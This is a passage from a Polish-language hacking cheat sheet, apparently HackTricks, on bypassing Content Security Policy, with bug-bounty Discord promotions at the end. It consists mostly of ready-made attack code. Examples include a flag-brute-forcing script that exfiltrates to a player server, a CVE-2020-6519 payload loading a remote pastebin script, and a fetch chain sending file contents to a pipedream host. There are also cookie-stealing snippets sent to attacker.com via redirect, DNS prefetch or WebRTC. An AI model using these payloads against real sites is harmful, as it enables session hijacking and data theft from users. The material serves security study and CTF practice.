for (i;i<alphabet.length;i++) {
let c = alphabet[i];
let t =  await query(prefix+c); // Check what chars returns TRUE or FALSE
console.log(prefix, c, t);
if (t) {
console.log('FOUND!')
prefix += c;
break;
}
}
if (i==alphabet.length) {
console.log('missing chars');
break;
}
let t = await query(prefix+'}', true);
if (t) {
prefix += '}';
break;
}
}
new Image().src = 'http://PLAYER_SERVER/?' + prefix; //Exfiltrate the flag
console.log(prefix);
}

run();
</script>

Za pomocą Bookmarkletów

Ten atak wymaga pewnego inżynierii społecznej, gdzie atakujący przekonuje użytkownika, aby przeciągnął i upuścił link na zakładkę przeglądarki. Ta zakładka zawiera złośliwy kod JavaScript, który po przeciągnięciu lub kliknięciu zostanie wykonany w kontekście bieżącego okna przeglądarki, omijając CSP i umożliwiając kradzież wrażliwych informacji, takich jak ciasteczka lub tokeny.

Aby uzyskać więcej informacji, sprawdź oryginalne zgłoszenie tutaj.

Ominięcie CSP poprzez ograniczenie CSP

W tym raporcie z CTF, CSP jest omijane poprzez wstrzyknięcie bardziej restrykcyjnego CSP do dozwolonego iframe, który zabrania ładowania określonego pliku JS, a następnie za pomocą zanieczyszczania prototypu lub nadpisywania DOM umożliwia wykorzystanie innego skryptu do ładowania dowolnego skryptu.

Możesz ograniczyć CSP dla iframe za pomocą atrybutu csp:

{% code overflow="wrap" %}

<iframe src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]" csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>

{% endcode %}

W tym opisie CTF było możliwe poprzez wstrzyknięcie HTML bardziej ograniczyć CSP, dzięki czemu skrypt zapobiegający CSTI został wyłączony i tym samym podatność stała się wykorzystywalna.
CSP można bardziej ograniczyć za pomocą metatagów HTML i wyłączyć skrypty inline usuwanie wpisu umożliwiającego ich nonce oraz włączanie konkretnego skryptu inline za pomocą sha:

<meta http-equiv="Content-Security-Policy" content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';">

Wykradanie danych JS za pomocą Content-Security-Policy-Report-Only

Jeśli uda ci się sprawić, że serwer odpowie nagłówkiem Content-Security-Policy-Report-Only z wartością kontrolowaną przez ciebie (może to być spowodowane przez CRLF), możesz sprawić, że będzie on wskazywał na twój serwer, a jeśli opakujesz zawartość JS, którą chcesz wykraść w znacznik <script>, a ponieważ prawdopodobnie unsafe-inline nie jest dozwolone przez CSP, spowoduje to błąd CSP, a część skryptu (zawierająca wrażliwe informacje) zostanie wysłana na serwer z Content-Security-Policy-Report-Only.

Przykład takiego ataku znajdziesz w tym opisie CTF.

CVE-2020-6519

document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";

Wyciek informacji za pomocą CSP i Iframe

  • Tworzony jest iframe, który wskazuje na URL (nazwijmy go https://example.redirect.com), który jest dozwolony przez CSP.
  • Następnie ten URL przekierowuje do tajnego URL (np. https://usersecret.example2.com), który nie jest dozwolony przez CSP.
  • Nasłuchując zdarzenia securitypolicyviolation, można przechwycić właściwość blockedURI. Ta właściwość ujawnia domenę zablokowanego URI, ujawniając tajną domenę, do której przekierowano początkowy URL.

Warto zauważyć, że przeglądarki takie jak Chrome i Firefox mają różne zachowania w obsłudze iframe'ów w kontekście CSP, co prowadzi do potencjalnego wycieku poufnych informacji z powodu niezdefiniowanego zachowania.

Inną techniką jest wykorzystanie samego CSP do wydedukowania tajnej subdomeny. Ta metoda polega na wykorzystaniu algorytmu wyszukiwania binarnego i dostosowaniu CSP, aby zawierał określone domeny, które są celowo blokowane. Na przykład, jeśli tajna subdomena składa się z nieznanych znaków, można iteracyjnie testować różne subdomeny, modyfikując dyrektywę CSP, aby blokować lub zezwalać na te subdomeny. Oto fragment kodu pokazujący, jak może być skonfigurowane CSP w celu ułatwienia tej metody:

img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev

Monitorując, które żądania są blokowane lub zezwolone przez CSP, można zawęzić możliwe znaki w tajnym subdomenie, ostatecznie odkrywając pełny adres URL.

Obie metody wykorzystują subtelności implementacji i zachowania CSP w przeglądarkach, pokazując, jak pozornie bezpieczne polityki mogą nieumyślnie ujawniać wrażliwe informacje.

Sztuczka z tutaj.

Dołącz do serwera HackenProof Discord, aby komunikować się z doświadczonymi hakerami i łowcami błędów!

Spostrzeżenia dotyczące hakerstwa
Zajmuj się treściami, które zagłębiają się w emocje i wyzwania hakerstwa

Aktualności na żywo o hakerstwie
Bądź na bieżąco z szybkim tempem świata hakerstwa dzięki aktualnym wiadomościom i spostrzeżeniom

Najnowsze ogłoszenia
Bądź na bieżąco z najnowszymi programami bug bounty i ważnymi aktualizacjami platformy

Dołącz do nas na Discordzie i zacznij współpracować z najlepszymi hakerami już dziś!

Niebezpieczne technologie do obejścia CSP

Przeładowanie bufora odpowiedzi PHP

PHP jest znany z buforowania odpowiedzi do 4096 bajtów domyślnie. Dlatego, jeśli PHP wyświetla ostrzeżenie, dostarczając wystarczającą ilość danych w ostrzeżeniach, odpowiedź zostanie wysłana przed nagłówkiem CSP, co spowoduje zignorowanie nagłówka.
Następnie technika polega głównie na wypełnieniu bufora odpowiedzi ostrzeżeniami, aby nagłówek CSP nie został wysłany.

Pomysł z tego opisu.

Przepisanie strony błędu

Z tego opisu wynika, że możliwe było obejście ochrony CSP poprzez załadowanie strony błędu (potencjalnie bez CSP) i przepisanie jej zawartości.

a = window.open('/' + 'x'.repeat(4100));
setTimeout(function() {
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`;
}, 1000);

SOME + 'self' + wordpress

SOME to technika, która wykorzystuje XSS (lub bardzo ograniczony XSS) w punkcie końcowym strony, aby wykorzystać inne punkty końcowe tej samej domeny. Polega to na załadowaniu podatnego punktu końcowego z atakującej strony, a następnie odświeżeniu atakującej strony do prawdziwego punktu końcowego w tej samej domenie, który chcemy wykorzystać. W ten sposób podatny punkt końcowy może użyć obiektu opener w payloadzie, aby uzyskać dostęp do DOM prawdziwego punktu końcowego do wykorzystania. Aby uzyskać więcej informacji, sprawdź:

{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %} some-same-origin-method-execution.md {% endcontent-ref %}

Ponadto, wordpress ma punkt końcowy JSONP w /wp-json/wp/v2/users/1?_jsonp=data, który odzwierciedla przesłane dane w wyniku (z ograniczeniem tylko do liter, cyfr i kropek).

Atakujący może wykorzystać ten punkt końcowy do wygenerowania ataku SOME na WordPress i osadzenia go wewnątrz <script src=/wp-json/wp/v2/users/1?_jsonp=some_attack></script>. Należy zauważyć, że ten skrypt zostanie załadowany, ponieważ jest dozwolony przez 'self'. Ponadto, ze względu na zainstalowany WordPress, atakujący może wykorzystać atak SOME poprzez podatny punkt końcowy wywołania zwrotnego, który omija CSP, aby nadać większe uprawnienia użytkownikowi, zainstalować nową wtyczkę... Aby uzyskać więcej informacji na temat wykonania tego ataku, sprawdź https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/

Bypassowanie CSP w celu wycieku danych

Jeśli istnieje surowa CSP, która nie pozwala na interakcję z zewnętrznymi serwerami, istnieje kilka rzeczy, które zawsze można zrobić, aby wyciec informacje.

Location

Możesz po prostu zaktualizować lokalizację, aby przesłać tajne informacje na serwer atakującego:

var sessionid = document.cookie.split('=')[1]+".";
document.location = "https://attacker.com/?" + sessionid;

Meta tag

Możesz przekierować, wstrzykując meta tag (to jest tylko przekierowanie, nie ujawni to treści)

<meta http-equiv="refresh" content="1; http://attacker.com">

Prefetch DNS

Aby szybciej ładować strony, przeglądarki będą wstępnie rozwiązywać nazwy hostów na adresy IP i przechowywać je w pamięci podręcznej do późniejszego użycia.
Możesz wskazać przeglądarce, aby wstępnie rozwiązała nazwę hosta za pomocą: <link reol="dns-prefetch" href="something.com">

Możesz wykorzystać to zachowanie do wyciekania wrażliwych informacji za pomocą żądań DNS:

var sessionid = document.cookie.split('=')[1]+".";
var body = document.getElementsByTagName('body')[0];
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";

Inny sposób:

const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);

Aby temu zapobiec, serwer może wysłać nagłówek HTTP:

X-DNS-Prefetch-Control: off

{% hint style="info" %} Wygląda na to, że ta technika nie działa w przeglądarkach bez interfejsu (botach). {% endhint %}

WebRTC

Na kilku stronach można przeczytać, że WebRTC nie sprawdza polityki connect-src CSP.

W rzeczywistości można wyciekać informacje za pomocą żądania DNS. Sprawdź ten kod:

(async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()

Inny sposób:

var pc = new RTCPeerConnection({
"iceServers":[
{"urls":[
"turn:74.125.140.127:19305?transport=udp"
],"username":"_all_your_data_belongs_to_us",
"credential":"."
}]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);

Sprawdzanie polityk CSP online

Automatyczne tworzenie CSP

https://csper.io/docs/generating-content-security-policy

Odwołania

Dołącz do serwera HackenProof Discord, aby komunikować się z doświadczonymi hakerami i łowcami błędów!

Wgląd w hakerstwo
Zajmuj się treściami, które zagłębiają się w emocje i wyzwania hakerstwa

Aktualności na żywo z hakerstwa
Bądź na bieżąco z szybkim tempem świata hakerstwa dzięki aktualnym wiadomościom i wglądom

Najnowsze ogłoszenia
Bądź na bieżąco z najnowszymi programami bug bounty i ważnymi aktualizacjami platformy

Dołącz do nas na Discordzie i zacznij współpracować z najlepszymi hakerami już dziś!

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks: